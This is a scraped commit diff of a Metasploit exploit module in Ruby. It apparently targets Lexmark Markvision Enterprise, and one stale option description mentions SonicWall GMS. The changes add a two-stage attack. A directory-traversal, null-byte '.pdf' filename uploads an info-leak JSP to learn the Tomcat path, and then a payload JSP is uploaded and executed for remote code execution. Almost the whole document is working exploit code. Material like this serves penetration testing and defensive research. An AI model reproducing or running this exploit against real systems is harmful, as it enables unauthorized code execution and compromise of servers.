8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = ExcellentRanking
10
10
11
+ include Msf ::Exploit ::FileDropper
11
12
include Msf ::Exploit ::Remote ::HttpClient
12
13
13
14
def initialize ( info = { } )
@@ -44,7 +45,7 @@ def initialize(info = {})
44
45
register_options (
45
46
[
46
47
Opt ::RPORT ( 9788 ) ,
47
- OptString . new ( 'TARGETURI' , [ true , 'Path to SonicWall GMS ' , '/' ] )
48
+ OptString . new ( 'TARGETURI' , [ true , 'ROOT path ' , '/' ] )
48
49
] , self . class )
49
50
end
50
51
@@ -68,21 +69,43 @@ def check
68
69
end
69
70
70
71
def exploit
71
- jsp_name = " #{ rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) } .jsp"
72
- jsp = payload . encoded
72
+ jsp_leak = jsp_path
73
+ jsp_name_leak = " #{ rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) } .jsp"
73
74
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
74
75
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
75
- traversal_attack = "/..\\ ..\\ ..\\ tomcat\\ webapps\\ ROOT\\ #{ jsp_name } \x00 .pdf"
76
+ traversal_leak = "/..\\ ..\\ ..\\ tomcat\\ webapps\\ ROOT\\ #{ jsp_name_leak } \x00 .pdf"
77
+
78
+ print_status ( "#{ peer } - Uploading info leak JSP #{ jsp_name_leak } ..." )
79
+ if upload_file ( traversal_leak , jsp_leak )
80
+ print_good ( "#{ peer } - JSP successfully updated" )
81
+ else
82
+ fail_with ( Failure ::Unknown , "#{ peer } - JSP update failed" )
83
+ end
84
+
85
+ res = execute ( jsp_name_leak )
86
+
87
+ if res && res . code == 200 && res . body . to_s !~ /null/ && res . body . to_s =~ /Path:(.*)/
88
+ upload_path = $1
89
+ print_good ( "#{ peer } - Working directory found in #{ upload_path } " )
90
+ register_file_for_cleanup ( ::File . join ( upload_path , 'webapps' , 'ROOT' , jsp_name_leak ) )
91
+ else
92
+ print_error ( "#{ peer } - Couldn't retrieve the upload directory, manual cleanup will be required" )
93
+ end
94
+
95
+ jsp_payload_name = "#{ rand_text_alphanumeric ( 4 +rand ( 32 -4 ) ) } .jsp"
96
+ jsp_payload = payload . encoded
97
+ traversal_payload = "/..\\ ..\\ ..\\ tomcat\\ webapps\\ ROOT\\ #{ jsp_payload_name } \x00 .pdf"
76
98
77
99
print_status ( "#{ peer } - Uploading JSP payload..." )
78
- if upload_file ( traversal_attack , jsp )
100
+ if upload_file ( traversal_payload , jsp_payload )
79
101
print_good ( "#{ peer } - JSP successfully updated" )
102
+ register_file_for_cleanup ( ::File . join ( upload_path , 'webapps' , 'ROOT' , jsp_payload_name ) )
80
103
else
81
104
fail_with ( Failure ::Unknown , "#{ peer } - JSP update failed" )
82
105
end
83
106
84
107
print_status ( "#{ peer } - Executing payload..." )
85
- send_request_cgi ( { 'uri' => normalize_uri ( target_uri . path . to_s , jsp_name ) } , 3 )
108
+ execute ( jsp_payload_name , 3 )
86
109
end
87
110
88
111
def upload_file ( filename , contents )
@@ -109,4 +132,24 @@ def upload_file(filename, contents)
109
132
end
110
133
end
111
134
135
+ def execute ( jsp_name , time_out = 20 )
136
+ res = send_request_cgi ( {
137
+ 'uri' => normalize_uri ( target_uri . path . to_s , jsp_name ) ,
138
+ 'method' => 'GET'
139
+ } , time_out )
140
+
141
+ res
142
+ end
143
+
144
+ def jsp_path
145
+ jsp = <<-EOS
146
+ <%@ page language="Java" import="java.util.*"%>
147
+ <%
148
+ out.println("Path:" + System.getProperty("catalina.home"));
149
+ %>
150
+ EOS
151
+
152
+ jsp
153
+ end
154
+
112
155
end
0 commit comments